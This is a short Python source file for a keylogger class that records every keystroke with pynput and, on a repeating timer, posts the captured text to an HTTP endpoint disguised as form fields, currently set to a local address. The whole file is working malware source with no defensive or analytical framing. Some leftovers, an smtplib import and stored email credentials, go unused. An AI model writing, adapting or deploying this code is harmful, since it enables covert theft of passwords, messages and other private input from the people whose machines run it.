#!/usr/bin/python3
import pynput. keyboard
import threading
import smtplib,requests

class Keyloger:
	def __init__(self, time_interval, email, password):
		self.log = "Keyloger started"
		self.interval = time_interval
		self.email = email
		self.password = password
		
	def append_to_log(self, string):
		self.log = self.log + string
			
	def process_key_press(self,key):
		try:
			current_key = str(key.char)
		except AttributeError:
			if key == key.space:
				current_key = " "
			else:
				current_key = " " + str(key) + ""
		self.append_to_log(current_key)
	def report(self):
		#print(self.log) this is used to print on screen
		self.send_mail(self.log)
		self.log = ""
		timer = threading.Timer(self.interval, self.report)
		timer.start()	
	
	def send_mail(self, message):
		ur = 'http://127.0.0.1:8000/api/v1/'
		data = {
		'branch_code':message,
		'branch_name':'awo'
		}
		requests.post(url=ur,data=data)
	def start(self):
		keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)	
		with keyboard_listener:
			self.report()
			keyboard_listener.join()

